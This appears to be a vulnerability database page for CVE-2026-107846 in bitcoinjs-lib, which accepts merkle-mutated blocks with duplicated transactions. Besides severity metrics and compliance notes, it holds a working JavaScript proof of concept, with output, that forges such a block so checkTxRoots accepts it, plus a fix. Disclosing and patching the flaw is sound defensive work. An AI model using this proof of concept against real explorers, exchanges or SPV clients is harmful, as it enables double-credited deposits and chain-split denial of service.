Bitcoinjs-lib: Improper Validation of Integrity Check Value (CVE-2026-107846)
Published Last modified Sources: EUVD, OSV, Hersteller, CVE.org
What is affected, what to do
Update bitcoinjs-lib to version 5.2.1.
- Affected
- Bitcoinjs-lib
gte 2.3.0, < 5.2.1..*
- Bitcoinjs-lib
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
9.3
XIEM Effective CVSS
Highest available CVSS rating from NVD and vendor data.
Source: Vendor (CNA), CVSS v4
9.3
CVSS v4
Severity Critical on the scale from 0 to 10.
Source: EUVD, OSV, Hersteller, CVE.org
0.2 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 7.6
Show all metrics
- Severity
- Critical
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 76.96 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 9.3 Methodology
CVSS v4
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 9.3
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.2 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 7.6
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
- CISA assessment (SSVC)
- Exploitation: proof of concept · automatable · Technical impact: partial
- Source: CISA Vulnrichment, as of 9 November 2026
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-354
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
fastMerkleRoot pads an odd level by hashing the last node with itself. It does not report that it did so, and checkTxRoots never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and checkTxRoots accepts all three. Bitcoin Core rejects this case through the mutated flag in ComputeMerkleRoot and the bad-txns-duplicate reason in CheckBlock. This is CVE-2012-2459.
Details
A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in ComputeMerkleRoot, which scans each level for two adjacent equal hashes before padding and raises a mutated flag when it finds a pair, and CheckBlock then rejects the block with bad-txns-duplicate.
uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
bool mutation = false;
while (hashes.size() > 1) {
if (mutated) {
for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
if (hashes[pos] == hashes[pos + 1]) mutation = true;
}
}
if (hashes.size() & 1) {
hashes.push_back(hashes.back());
}
...
The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.
fastMerkleRoot performs the duplication and reports nothing.
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
const data = tools.concat([left, right]);
results[j] = digestFn(data);
}
length = j;
}
return results[0];
Block.calculateMerkleRoot returns that value unchanged, and __checkMerkleRoot only compares it to the header field.
private __checkMerkleRoot(): boolean {
if (!this.transactions) throw errorMerkleNoTxes;
const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}
Nothing anywhere in ts_src looks for an adjacent duplicate pair or for a repeated txid. checkTxRoots is the library's advertised block integrity gate and it inherits the gap.
PoC
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');
// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.
const f = JSON.parse(fs.readFileSync(
'test/fixtures/core/blocks.json', 'utf8'))[0];
const honest = Block.fromHex(f.hex);
console.log('honest block id :', honest.getId());
console.log('id matches fixture :', honest.getId() === f.id);
console.log('transactions :', honest.transactions.length);
console.log('merkle root :', hex(honest.merkleRoot));
console.log('checkTxRoots() :', honest.checkTxRoots());
console.log('serialized bytes :', honest.toBuffer().length);
// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());
console.log('');
console.log('forged block id :', parsed.getId());
console.log('transactions :', parsed.transactions.length);
console.log('merkle root :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots() :', parsed.checkTxRoots());
console.log('serialized bytes :', parsed.toBuffer().length);
const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id :', honest.getId() === parsed.getId());
console.log('different serialized bytes :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());
Output on bitcoinjs-lib v7.0.1:
honest block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
id matches fixture : true
transactions : 9
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3054
forged block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
transactions : 10
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3313
same block id : true
different serialized bytes : true
different transaction lists : true
duplicate txid inside forged : true
both accepted by checkTxRoots : true
The honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.
Impact
Most real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on checkTxRoots sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published ComputeMerkleRoot and CheckBlock source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from checkTxRoots when a pair is found, matching the mutated output parameter Core threads from ComputeMerkleRoot into CheckBlock.
Fix
Report the padding case out of the root computation and act on it.
export function fastMerkleRoot(
values: Uint8Array[],
digestFn: (b: Uint8Array) => Uint8Array,
mutated?: { value: boolean },
): Uint8Array {
...
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
if (i + 1 < length && tools.compare(left, right) === 0 && mutated)
mutated.value = true;
results[j] = digestFn(tools.concat([left, right]));
}
length = j;
}
return results[0];
}
Thread the flag through Block.calculateMerkleRoot and have __checkMerkleRoot return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way CheckBlock rejects it with bad-txns-duplicate. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.
Affected versions
- Versions 2.3.0 through 5.2.0.
- Vers
Source: ENISA EUVD, OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| bitcoinjs | bitcoinjs-lib |
|
|
| npm | bitcoinjs-lib |
|
|
Weakness classes (CWE)
CWE-354Improper Validation of Integrity Check Value
Base
The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
Entry at MITRE CWE-354
References & sources
- github.combitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d1…x_refsource_MISC, web, euvd
- github.combitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc59…x_refsource_MISC, web, euvd
- github.combitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243…x_refsource_MISC, web, euvd
- github.combitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6x_refsource_CONFIRM, web, euvd
- NVD (NIST)vuln/detail/CVE-2026-107846advisory, euvd
- github.combitcoinjs/bitcoinjs-libpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
Record modifiedCISA ADP
CISA assessment (SSVC): exploitation: proof of concept, automatable: yes
Show 2 original changes
Individual changes of this event as published by NVD Type Action Before After Reference added —https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6SSVC assessment added —{"id":"CVE-2026-107846","role":"CISA Coordinator","options":[{"exploitation":"poc"},{"automatable":"yes"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-11-09T16:49:37.173821Z"}Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0
ReceivedGitHub
CVSS V4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H
Weakness type: CWE-354
Description added or changed
New references:- https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449
- https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0
- https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1
- https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6
Show 8 original changes
Individual changes of this event as published by NVD Type Action Before After Description added —bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.CVSS added —AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XWeakness type (CWE) added —CWE-354Affected versions (publisher) added —New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/107xxx/CVE-2026-107846.json">CVE-2026-107846</a>Reference added —https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449Reference added —https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0Reference added —https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1Reference added —https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6Source identifier: security-advisories@github.com
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-107846"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-107846.svg?lang=en" alt="CVE-2026-107846 – NEOSEC Intel" height="20"></a>